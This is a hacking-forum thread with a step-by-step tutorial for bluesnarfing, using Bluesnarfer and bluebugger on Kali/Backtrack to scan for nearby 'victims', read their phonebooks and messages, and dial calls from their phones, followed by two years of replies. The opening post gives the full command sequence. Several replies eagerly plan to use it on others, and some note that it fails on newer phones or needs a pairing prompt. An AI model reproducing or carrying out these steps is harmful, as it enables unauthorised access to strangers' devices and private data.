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 Thread: (tutorial) How To Hack Phones With Bluetooth Using Backtrack (BT5/Kali Linux)
 

 WarOnDrugs - June 22, 2014, 8:21 am 
A brief tutorial on how to hack a phone via bluetooth using Bluesnarfer.
 
 For Backtrack/Kali Linux :
 
 First we must install Bluesnarfer 
 
 Make your way to the opt directory
 Code cd /opt
 Get Bluesnarfer using the wget command
 Code /opt# wget http://alighieri.org/tools/bluesnarfer.tar.gz
 Reopen the directory using the ls command and you will see Bluesnarfer in there, now we have to
extract it.
 Code :/opt# ls
 bluesnarfer.tar.gz  firmware-mod-kit  metasploit  Teeth
 To extract we use the simple tar xvf command
 Code /opt# tar xvf bluesnarfer.tar.gz
 Reopen the directory once again and you will see Bluesnarfer there
 Code /opt# ls
 BFi13-dev-18  bluesnarfer.tar.gz  metasploit
 bluesnarfer   firmware-mod-kit    Teeth
 Lets enter that folder like so
 Code /opt# cd bluesnarfer
 Code /opt/bluesnarfer# ls
 include  Makefile  README  src
 Now we finish it off by compoling the install like this
 
 Code /opt/bluesnarfer# make
 To see all of the Bluesnarfer commands run this command ./bluesnarfer
 
 Code :/opt/bluesnarfer# ./bluesnarfer
 Now that we have Bluesnarfer, you must configure rfcomm first, if you havent already done that,
 
 Code mkdir -p /dev/bluetooth/rfcomm
 Code mknod -m 666 /dev/bluetooth/rfcomm/0 c 216 0
 Code mknod --mode=666 /dev/rfcomm0 c 216 0
 Code hciconfig -i hci0 up
 Code hciconfig hci0
 (Scan for victims)
 
 Code hcitool scan hci0
 (ping the vitcim to see if he is awake)
 
 Code l2ping  < victim mac addr>
 (browse the victim for rfcomm channels to connect to)
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 Code sdptool browse --tree --l2cap < mac addr >
 (then you can use bluesnarfer for example to read the victims phonebook, dial a number or read
Sms or other things.)
 
 Code Bluesnarfer -r 1-100 -C 7 -b < mac addr >
 (to see available opions to do )
 
 Code bluebugger -h
 (Dial number )
 
 Code bluebugger -m < victim name > -c 7 -a < mac addr > Dial < number >
 Extra: This is what the Bluesnarfer shell should look like
 
 Code bluesnarfer, version 0.1 -
 usage: bluesnarfer [options] [ATCMD] -b bt_addr
 
 ATCMD     : valid AT+CMD (GSM EXTENSION)
 
 TYPE      : valid phonebook type ..
 example   : "DC" (dialed call list)
       "SM" (SIM phonebook)
       "RC" (recevied call list)
       "XX" much more
 
 -b bdaddr : bluetooth device address
 -C chan   : bluetooth rfcomm channel
 
 -c ATCMD  : custom action
 -r N-M    : read phonebook entry N to M
 -w N-M    : delete phonebook entry N to M
 -f name   : search "name" in phonebook address
 -s TYPE   : select phonebook memory storage
 -l      : list aviable phonebook memory storage
 -i      : device info
 

kutubpur - June 23, 2014, 11:06 pm 
oh this great
 i will try this method

anoncs - June 23, 2014, 11:23 pm 
nice tutorial. So if i use this i can have access to the victim's phone messages also? Can they be
extracted?

WarOnDrugs - June 24, 2014, 1:58 am 
 (Jun 23, 2014 11:06 PM)kutubpur Wrote: [CITE] oh this great
 i will try this method
 Hit me with a PM if you need any help.

VirusTotal - June 24, 2014, 1:59 am 
Awesome tutorial op! Going to try it asap

WarOnDrugs - June 24, 2014, 2:02 am 
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 (Jun 23, 2014 11:23 PM)anoncs Wrote: [CITE] nice tutorial. So if i use this i can have access to the
victim's phone messages also? Can they be extracted?
 You can indeed access messages. As for extracting information, there's a script called Bluetest you
can use, but I don't know how to implement that into the equation for it to work, since I have never
used it myself.
 
  (Jun 24, 2014 01:59 AM)VirusTotal Wrote: [CITE] Awesome tutorial op! Going to try it asap
 Cheers man. Tell me how it goes. PM if you need help, I should be able to help you out.

lonewolf_787 - June 24, 2014, 5:31 am 
so this is for devices that have bluetooth enabled and the victim does not have to pair anything or
accept ANYTHING at all... is that correct?

_L0aD1nG_ - June 24, 2014, 5:34 am 
GRATZ on making this nice tutorial m8!
 When i will be able i will try it too..
 Can i PM you anytime for help or if something went wrong?

WarOnDrugs - June 24, 2014, 6:00 am 
 (Jun 24, 2014 05:31 AM)lonewolf_787 Wrote: [CITE] so this is for devices that have bluetooth
enabled and the victim does not have to pair anything or accept ANYTHING at all... is that correct?
 That is absolutely correct, my man. PM me if you need help with anything.
 
  (Jun 24, 2014 05:34 AM)_L0aD1nG_ Wrote: [CITE] GRATZ on making this nice tutorial m8!
 When i will be able i will try it too..
 Can i PM you anytime for help or if something went wrong?
 Cheers man, it wasn't to hard tbh.
 Of course man, if you need help, don't hesitate to throw me a PM.

pomwtin - June 24, 2014, 1:15 pm 
Hy
 
 I think you made a mistake here:
 Quote:mknod -m 666 /dev/bluetooth/rfcomm/ 0 c 216 0
 
 there must not be space between "/" and "0"
 so correct form would be:
 Quote:mknod -m 666 /dev/bluetooth/rfcomm/0 c 216 0
 
 and another one (maby just for hcitool 4.99):
 
 This is not correct form:
 Quote:hcitool scan hci0
 
 It should be like:
 Quote:hcitool -i hci0 scan
 
 Other than that, good tutorial ?
 Thanks

WarOnDrugs - June 30, 2014, 4:18 am 
 (Jun 24, 2014 01:15 PM)pomwtin Wrote: [CITE] Hy
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 I think you made a mistake here:
 
 there must not be space between "/" and "0"
 so correct form would be:
 
 and another one (maby just for hcitool 4.99):
 
 This is not correct form:
 
 It should be like:
 
 Other than that, good tutorial ?
 Thanks
 Cheers for that dewd, I just made the changes now, a little bilated, but at least it's done.

adambaidya6 - July 7, 2014, 12:19 am 
awesome tutorial... will try it out... thanks

WarOnDrugs - July 7, 2014, 1:58 pm 
 (Jul 7, 2014 12:19 AM)adambaidya6 Wrote: [CITE] awesome tutorial... will try it out... thanks
 tell m ehow it goes homes, pm if you need any help.

djarumblack - August 15, 2014, 12:21 pm 
awesome tutorial...
 but i've trouble here,i try use bluesnarfer to read my phonebook but failed..
 
 bluesnarfer: invalid command inserted, you must insert AT.*
 bluesnarfer: send_cmd failed
 bluesnarfer: release rfcomm ok
 
 that message displayed on my screen
 
 thank for your help,
 i'm newbie here

mony123 - August 15, 2014, 12:42 pm 
AWESOME bro, keep up the good work... Gonna try it ASAP ;)

mattybeds - August 15, 2014, 12:57 pm 
Does this work on all modern smartphones ? lol

Rote - August 15, 2014, 7:58 pm 
 (Aug 15, 2014 12:57 PM)mattybeds Wrote: [CITE] Does this work on all modern smartphones ? lol
 Have the same question as you. And would it matter if there device Bluetooth is off?

DepLexOr - August 16, 2014, 6:49 am 
 (Aug 15, 2014 07:58 PM)HacKinGang Wrote: [CITE]  (Aug 15, 2014 12:57 PM)mattybeds Wrote: 
[CITE] Does this work on all modern smartphones ? lol
 Have the same question as you. And would it matter if there device Bluetooth is off?I think it works
on any device with bluetooth enabled. This does seem interesting, so I'll test it out later. Thanks for
the tutorial.

mattybeds - August 16, 2014, 6:57 am 
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I cant see that, While i have been fuzzing bluetooth i noticed that RFCOMM ports require a pin on
my blackberry curve, so im guessing same would be on most phones.  I have posted some guides
on how to play with bluetooth via python2 and scapy.  you should take alook cos its a good way to
find ure own bugs.

ShadyOverflow - August 16, 2014, 1:34 pm 
i failed at scanning.. when i do "hcitool scan hci0"
 it returns "scan: too many arguments  (maximal: 0)" why?
 
 i hope it doesnt matter because im using USB bluetooth device... 
 (its successfully connected to backtrack)
 

Goodies - August 16, 2014, 1:59 pm 
I'm sorry, but you need to work on your design, man. That's a decent thread idea, but it looks drab.

Kara Davis - August 16, 2014, 2:57 pm 
Thanks OP. Can anyone test this against the latest iOS and android firmwares ? If it works this is
very usefull !

ShadyOverflow - August 17, 2014, 3:44 am 
 (Aug 16, 2014 01:59 PM)Goodies Wrote: [CITE] I'm sorry, but you need to work on your design, man.
That's a decent thread idea, but it looks drab.
 sorry but i dont understand you, why on the design?

WarOnDrugs - August 17, 2014, 3:24 pm 
 (Aug 16, 2014 01:59 PM)Goodies Wrote: [CITE] I'm sorry, but you need to work on your design, man.
That's a decent thread idea, but it looks drab.
 I'm not going to lie, as long as all the info is there thread design doesn't phase me, but I get what
you're saying, good design does make things easier to read and all. So I'll improve my design in my
next tutorial, cheers for bringing that up my man :).
 
  (Aug 16, 2014 02:57 PM)Kara Davis Wrote: [CITE] Thanks OP. Can anyone test this against the
latest iOS and android firmwares ? If it works this is very usefull !
 That's actually a good query. I'll do a few searches and get to you with what I find.

AnGelluFFy - August 17, 2014, 3:36 pm 
Nice tut 
 I will but it in my favourite
 Until I buy a laptop

yacked2 - August 17, 2014, 11:37 pm 
I am posting just for getting update from the thread. Intresting , i'll try it at night.

Db111 - September 8, 2014, 5:30 am 
Hey mate sorry I'm new  to this trying to download this but having trouble getting to the opt directory.
How do I do that

ÇdnîS Lu?i? - September 9, 2014, 8:25 am 
Looks fun, will be testing this when i get home thanks!

UnarmedSpoon - September 10, 2014, 12:34 pm 
Thanks for this, will use this soon :d
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Marcstylzzz - November 3, 2014, 4:45 pm 
the bluesnarfer that I was able to download is not a .tar.gz, I got zipped file that when extracted I got
bluesnarfer.h, bluesnarfer.c, BFi13-dev-18, what do I do with these? thanks

techme1 - November 18, 2014, 1:35 am 
i am getting error when i put thi command
 root@kali:/opt/bluesnarfer# make
 make: Nothing to be done for `all'.

Mushies - November 18, 2014, 5:43 pm 
When I try to scan it says the device does not exist. I scanned for devices and it finds none. My
bluetooth is enabled. Anyone who can help PM me please. Thanks

Reptilian - November 19, 2014, 12:52 am 
Anyone got this to work yet? Curious if it works on iPhones.

w34k - November 19, 2014, 5:00 am 
 (Nov 18, 2014 02:35 AM)techme1 Wrote: [CITE] i am getting error when i put thi command
 root@kali:/opt/bluesnarfer# make
 make: Nothing to be done for `all'.It's already installed in Kali... ??? OP didn't mention that...
 Just enter:
 Code bluesnarferto see options.
 
  (Nov 18, 2014 06:43 PM)Mushies Wrote: [CITE] When I try to scan it says the device does not exist.
I scanned for devices and it finds none. My bluetooth is enabled. Anyone who can help PM me
please. ThanksAnother thing OP didn't mention is, your PC needs to have bluetooth enabled or you
need to get a bluetooth USB dongle for this to work. Maybe, I misunderstood you.
 
  (Nov 19, 2014 01:52 AM)Aprex Wrote: [CITE] Anyone got this to work yet? Curious if it works on
iPhones.I tested this a long time ago, even before this was posted on an iPhone with success.

techme1 - November 20, 2014, 10:04 pm 
[quote='w34k' pid='43400641' dateline='1416402042']
 It's already installed in Kali... ??? OP didn't mention that...
 Just enter:
 Code bluesnarferto see options.
 
 now the problem when i put this command
 hcitool scan hci0
 it's show
 scanning but not showing any device whereas bluetooth is enable and visible as well

w34k - November 20, 2014, 10:36 pm 
 (Nov 20, 2014 11:04 PM)techme1 Wrote: [CITE] now the problem when i put this command
 hcitool scan hci0
 it's show
 scanning but not showing any device whereas bluetooth is enable and visible as well
 Are you sure your PC is capable of bluetooth or you have a bluetooth USB dongle ?

techme1 - November 20, 2014, 11:21 pm 
yes it capable even bluetooth service is running

allsdoms - November 20, 2014, 11:25 pm 
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can i install backtrack on windows OS. someone help me out

techme1 - November 20, 2014, 11:35 pm 
 (Nov 21, 2014 12:25 AM)allsdoms Wrote: [CITE] can i install backtrack on windows OS. someone
help me out
 @allsdoms you posted in wrong forum

allsdoms - November 21, 2014, 12:14 am 
please techme1 can u correct me. i dont know why u said its wroung  ?

Vikhedgehog - November 21, 2014, 11:47 am 
Thanks for the tutorial :)
 
 Is there a list of supported bluetooth adapters or are all adapters supported?

PlusnPlay - November 21, 2014, 2:27 pm 
 (Aug 16, 2014 01:34 PM)ShadyOverflow Wrote: [CITE] i failed at scanning.. when i do "hcitool scan
hci0"
 it returns "scan: too many arguments  (maximal: 0)" why?
 
 i hope it doesnt matter because im using USB bluetooth device... 
 (its successfully connected to backtrack)I think its because you haven't configured your bluetooth,
or there is no bluetooth, the same happens to me and after some research i found out my vmware
doesn't include the option for built in bluetooth, so you might be in the same case as me. Solution is
to buy a external bluetooth device, probs

oboi - November 21, 2014, 10:52 pm 
awesome tutorial it works great and its easy to follow

lady-hacker - November 22, 2014, 1:48 am 
gonna check
 gonna checkgonna checkgonna checkgonna check
 
 10x

Tiburon - November 25, 2014, 3:14 am 
Hey,
 
 The line :
 #sdptool browse --tree --l2cap < mac addr >
 
 I don't have any result just : browsing...
 
 Anyone?
 
 Thanks Guys!

techme1 - November 26, 2014, 11:21 pm 
 (Nov 21, 2014 12:21 AM)techme1 Wrote: [CITE] yes it capable even bluetooth service is running
 response please above post it's still not works for me

milka - December 3, 2014, 6:55 am 
Wow that's what i searched for thanks
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xfitz54 - December 3, 2014, 3:55 pm 
Ill have to try this out sometime, thanks for the tutorial

dyl_up - December 3, 2014, 4:32 pm 
When I run the command below I get the following output, any ideas?
 Code root@kali: sdptool browse --tree --l2cap <my mac address>
 Browsing <my mac address>...
 Service Search Failed: Connection timed out

LordMile - December 4, 2014, 9:49 am 
This don't work i tested and when I wrote Bluesnarfer -r 1-100 -C [CH] -b  {MAC} script print mobile
device name and stuck(block). I wait for 10-15min and noting.
 
 Tested on Android 4.4.4 Sony Xperia Mini (ST15i)

SureAintMe - December 12, 2014, 9:00 pm 
first of all, thanks for the thread-- i haven't seen another tutorial about bluetooth on HF and im just
getting into testing bluetooth although i do a fair amount of wifi pentesting. since you obviously have
some experience with bluetooth, can i ask what you think of the ubertooth zero/one? is it a better
experience using an external usb bluetooth adapter versus just using the chip built into a laptop?
and lastly, are there other usb adapters youd recommend besides the ubertooth? it would be nice to
pick one up but $100 seems a little bit steep...
 anyways, thanks again for the thread!

acetolyne - December 14, 2014, 6:20 pm 
The ubertooth is not a bluetooth adapter. You cant send bluetooth packets to other bluetooth
devices/ The Ubertooth is a 802.11 receiver Thus it receives all 802.11 waves ( Even microwave )
however the bluetooth packets are stripped out for parsing. $100-$150 for such a device is very
cheap before the Ubertooth these devices would cost a person $10,000 or more. The ubertooth is
making bluetooth hacking something everyone can afford. Much like when wireless monitor mode
adapters were not common nor cheap. Now that they are so cheap and common everyone can hack
wireless networks with ease. There are definitely some good adapters out there that will  give you
good range but the Ubertooth is not a normal bluetooth adapter as I have explained. The Ubertooth
is for passive collection of bluetooth packets. However due to the channel hopping that bluetooth
devices perform a single Ubertooth can't "follow"one device. Bluetooth is hard to monitor passively. I
studied Bluetooth hacking for a couple years and while having an understanding of network
protocols is a help, Bluetooth is a whole new beast. Hope this clears some things up for you.
 

StefanZxR - December 16, 2014, 2:09 pm 
Sorry for this nooby question but, you do need the MAC Address of the victim. Right?

acetolyne - December 17, 2014, 1:22 pm 
If your using a regular bluetooth device then yes you need it. Its actually a BDADDR but has the
same format as a MAC address. You can get it by doing command: hcitool scan
 It will see any device that is in discoverable mode. Here is the interesting part if a device is not in
discoverable mode you can still communicate with it if you know or can guess the BDADDR :-)
 If using an Ubertooth then you can see the BDADDR passively without communicating with the
remote device.

jtacery - April 20, 2015, 4:02 pm 
Well I suppose this will be my first post.
 I attempted to use bluesnarfer along with my ubertooth and bt dongle extension after picking up my



phones bdaddr but when I run bluesnarfer's AT CMDs it'll pickup my device but hang itself after
recieving the device name and "custum cmd selected, raw output" . Not sure if anyone else has this
issue.

Effexion - April 20, 2015, 4:04 pm 
Would this work in Ubuntu? Don't want a 3rd OS lol. Awesome lokking tut, man.

r3dsk1n - April 20, 2015, 5:16 pm 
 (Apr 20, 2015 04:04 PM)Effexion Wrote: [CITE] Would this work in Ubuntu? Don't want a 3rd OS lol.
Awesome lokking tut, man.
 Yes, it will. you might want to just add the kali repo's to your sources.list file, or you could just
compile it just as the tutorial says

BearGrill - April 22, 2015, 5:43 am 
hey can you please add me on skype a-creeper-argh ( yes its a really old name) I need your help

greybat163 - April 23, 2015, 6:17 am 
Can anyone tell me why is it not working for me??
 it says "No route to host"
 is it beacause i dont have a bluetooth connected on my pc?? ?

cryzeo - April 23, 2015, 1:11 pm 
Looks like a little complicated but I will try it.

htuts - April 24, 2015, 7:19 am 
Thanks for this, will try it soon.

lamont465 - April 24, 2015, 5:53 pm 
hey bro, i copied every thing that you did and i get. "hciconfig: invalid option --'i'"
 anyone know whats happening or if i am doing something wrong?

moneychanger - April 29, 2015, 4:17 am 
I have followed the guide up to the final install step and I get this error, anybody know what I am
doing wrong?
 
 root@Ryan:/opt/bluesnarfer/bluesnarfer# make
 gcc -Iinclude -W -g3 -lbluetooth src/bluesnarfer.c -o bluesnarfer
 src/bluesnarfer.c: In function ‘rfcomm_read’:
 src/bluesnarfer.c:247:3: warning: passing argument 2 of ‘getline’ from incompatible pointer type
[enabled by default]
    r = getline(&line, &line_size, fp);
    ^
 In file included from src/bluesnarfer.c:20:0:
 /usr/include/stdio.h:678:20: note: expected ‘size_t * __restrict__’ but argument is of type ‘int *’
  extern _IO_ssize_t getline (char __restrict __lineptr,
             ^
 src/bluesnarfer.c: In function ‘search_cmd’:
 src/bluesnarfer.c:548:3: warning: too many arguments for format [-Wformat-extra-args]
    snprintf(buffer, 256, "AT+CPBS=\"ME\"\r\n", options.phonebook);
    ^
 src/bluesnarfer.c:548:3: warning: too many arguments for format [-Wformat-extra-args]
 /tmp/ccoXyo0i.o: In function `bluesnarfer':
 /opt/bluesnarfer/bluesnarfer/src/bluesnarfer.c:146: undefined reference to `hci_for_each_dev'
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 /tmp/ccoXyo0i.o: In function `bt_get_remote_name':
 /opt/bluesnarfer/bluesnarfer/src/bluesnarfer.c:195: undefined reference to `hci_open_dev'
 /opt/bluesnarfer/bluesnarfer/src/bluesnarfer.c:201: undefined reference to `str2ba'
 /opt/bluesnarfer/bluesnarfer/src/bluesnarfer.c:208: undefined reference to `hci_create_connection'
 /opt/bluesnarfer/bluesnarfer/src/bluesnarfer.c:211: undefined reference to `hci_close_dev'
 /opt/bluesnarfer/bluesnarfer/src/bluesnarfer.c:218: undefined reference to `hci_read_remote_name'
 /opt/bluesnarfer/bluesnarfer/src/bluesnarfer.c:222: undefined reference to `hci_close_dev'
 /opt/bluesnarfer/bluesnarfer/src/bluesnarfer.c:223: undefined reference to `hci_disconnect'
 /opt/bluesnarfer/bluesnarfer/src/bluesnarfer.c:230: undefined reference to `hci_disconnect'
 /opt/bluesnarfer/bluesnarfer/src/bluesnarfer.c:232: undefined reference to `hci_close_dev'
 /tmp/ccoXyo0i.o: In function `bt_rfcomm':
 /opt/bluesnarfer/bluesnarfer/src/bluesnarfer.c:270: undefined reference to `hci_get_route'
 /opt/bluesnarfer/bluesnarfer/src/bluesnarfer.c:276: undefined reference to `str2ba'
 collect2: error: ld returned 1 exit status
 make: * [bluesnarfer] Error 1
 root@Ryan:/opt/bluesnarfer/bluesnarfer# 
 
 Confusing me, thanks for help in advance

w34k - April 29, 2015, 4:21 am 
 (Apr 29, 2015 04:17 AM)moneychanger Wrote: [CITE] I have followed the guide up to the final install
step and I get this error, anybody know what I am doing wrong?
 Which Linux distro are you using ?

moneychanger - April 29, 2015, 6:16 am 
I am using Ubuntu 14.04
 
 Post a little to short ;)

w34k - April 29, 2015, 6:22 am 
 (Apr 29, 2015 06:16 AM)moneychanger Wrote: [CITE] I am using Ubuntu 14.04
 
 Post a little to short ;)
 Ever think about getting Kali ? Everything is already installed, ready to go. A lot easier. :F

themittani - April 29, 2015, 9:48 am 
Humm, this doesn't look like it runs from just any hardware. Any examples for devices you need for
this?

Trenchguns - April 29, 2015, 9:50 am 
Wow, this is kinda scary that you can do this... let's try it anyway!

moneychanger - April 30, 2015, 1:34 am 
 (Apr 29, 2015 06:22 AM)w34k Wrote: [CITE] Ever think about getting Kali ? Everything is already
installed, ready to go. A lot easier. :F
 Just had a look online, looks very handy, downloading now and will run it on my 2nd drive to see if I
like it.

Das Kartoffel - May 3, 2015, 8:54 am 
http://hack.training/hack-phones-bluetooth-kali-linux-backtrack/
 
 Hm hm... Very similar to yours, one year ago and no credit on OP.
 Not too sure what to think ?.
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 Also, got it working on my Androïd phone.
 The only issue is you can't really do anything since the user has to accept both the connection (a
pin is given to him on his phone) and you to have access to his contact book which is not stealth at
all and has low chances to work. Unles I did something wrong ?

krtk6160 - May 4, 2015, 9:26 am 
Hey man, I did exactly how you instructed, and when I run the command 'bluesnarfer -r 1-100 -C 7
-b xx:xx:xx:xx:xx:xx', it displays 'device name: xyz' and just gets stuck there. Even the cursor stops
blinking after some seconds. Kindly help me.

Wraith1198 - July 5, 2015, 10:13 pm 
 (May 4, 2015 09:26 AM)krtk6160 Wrote: [CITE] Hey man, I did exactly how you instructed, and when
I run the command 'bluesnarfer -r 1-100 -C 7 -b xx:xx:xx:xx:xx:xx', it displays 'device name: xyz' and
just gets stuck there. Even the cursor stops blinking after some seconds. Kindly help me.
 Hey
 
 If it helps, this might not work on all Smart Phones, I am working with a Galaxy Note 2 and can only
get small amounts of info working. Not using BlueBugger either as it doesn't seem to be built into
Kali any longer except as a payload for BlueMaho.
 
 I working on extracting info from the phone using Bluesnarfer and found if you examine the output
from the sdptool browse step, you will find channels that are available to the phone. 
 
 I ran the sdptool command and put the output in a txt file, then grepped for keywords like channel to
get a readable list of possible connections. Channel 7 isnt there on mine.
 
 I so far am able to get the phone to respond and ask to connect to laptop, then pass some limited
information such as device info, some call records but not all, lists of available stored phonebook
lists.
 
 If anyone has any other tips though, would be greatly appreciated.

bodybreaker - December 10, 2015, 7:49 pm 
This reminds of Person of Interest, can't wait to try it out myself.

x00u - December 10, 2015, 8:00 pm 
Thanks! Followed the whole thing and it worked :D

MirrorDude - December 11, 2015, 2:20 pm 
 (Dec 10, 2015 08:49 PM)bodybreaker Wrote: [CITE] This reminds of Person of Interest, can't wait to
try it out myself.
 [img]http://memesvault.com/wp-content/uploads/Double-Facepalm-Gif-09.gif[/img]

rafale-hack - December 12, 2015, 7:34 am 
Good tutorial thanks you !!!

root.localhost - December 12, 2015, 8:15 pm 
Happen to see this thread cause someone bumped it I highly doubt this works on modern cell
phones today.
 Bluetooth 4x fixed a lot of things that made Bluetooth phone hacking possible hacking other
Bluetooth stuff might still be doing such as headsets and keyboards ect..

https://hackforums.net/showthread.php?pid=45987201#pid45987201
https://hackforums.net/showthread.php?pid=48911239#pid48911239


ballsdeeper - December 12, 2015, 9:43 pm 
Good find - I'm gonna try this out...

sagehax - December 13, 2015, 12:05 pm 
Someone please respond.. I try to do hciconfig hci0 and it says Can't get device info: No such
device. 
 
 I have a bluetooth adapter and it's installed I can see the bluetooth logo on the bottom right hand
corner of my computer. But it's not being detected. What do I do?

sagehax - December 20, 2015, 5:57 am 
Nevermind fixed it a while ago, by the way to anyone trying this out, hciconfig scan hci0 won't work.
At least it didn't for me. You have to type "hciconfig scan" only, don't put "hci0" at the end.

loquiver - December 20, 2015, 1:10 pm 
Awesome tutorial op! Going to try it asap

jack6 - December 23, 2015, 8:59 am 
I'd love of video of this if possible.

Gate-7-Hools - December 23, 2015, 9:20 am 
great tut there mate!!!!!!!

KeyLogging - December 23, 2015, 12:47 pm 
hello
 
 
 this is a good guide
 
 
 greats

LeGodJames - December 23, 2015, 12:51 pm 
Nice tutorial. Clear instructions and all. Gonna test this out asap

elu66 - May 21, 2016, 3:04 am 
i am having the same problem can someone help pls!!

PsyGhost - October 8, 2016, 8:50 am 
nice tutorial! 
 But i don't think that bluesnarfer works on the new versions of the Android (Marshmallow) \ Apple
(iOS9) phones

Fantom4242 - October 8, 2016, 8:57 am 
 (May 21, 2016 03:04 AM)elu66 Wrote: [CITE] i am having the same problem can someone help pls!!
  (Oct 8, 2016 08:50 AM)PsyGhost Wrote: [CITE] nice tutorial! 
 But i don't think that bluesnarfer works on the new versions of the Android (Marshmallow) \ Apple
(iOS9) phones
 STFU both of you, this is a saturated guide. Obviously wouldn't work, since it's from 2014

 

https://hackforums.net/showthread.php?pid=50992857#pid50992857
https://hackforums.net/showthread.php?pid=52697560#pid52697560

